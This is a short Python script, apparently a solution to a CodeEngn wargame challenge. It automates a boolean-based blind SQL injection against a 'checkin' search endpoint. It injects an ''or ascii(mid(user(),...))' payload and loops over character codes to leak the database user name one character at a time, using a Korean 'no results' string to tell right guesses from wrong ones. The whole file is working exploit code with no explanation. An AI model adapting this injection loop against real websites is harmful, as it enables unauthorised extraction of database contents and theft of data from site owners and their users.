import requests
import string

leaked = ""
for offset in range(1,20):
    for code in list(map(ord,string.printable)):

        url = "https://ch.codeengn.com/checkin"
        params = {
            "search": "xxxxxxxxxxxxxxxxxx'or ascii(mid(user(),{offset},1))={code}#".format(offset=offset, code=code),
        }
        res = requests.get(url, params)
        
        is_correct = "Checkin NO : 0 개" not in res.text
        if is_correct:
        	leaked += chr(code)
        	print("correct - " + leaked)
        	break
        else:
        	print("incorrect - " + chr(code))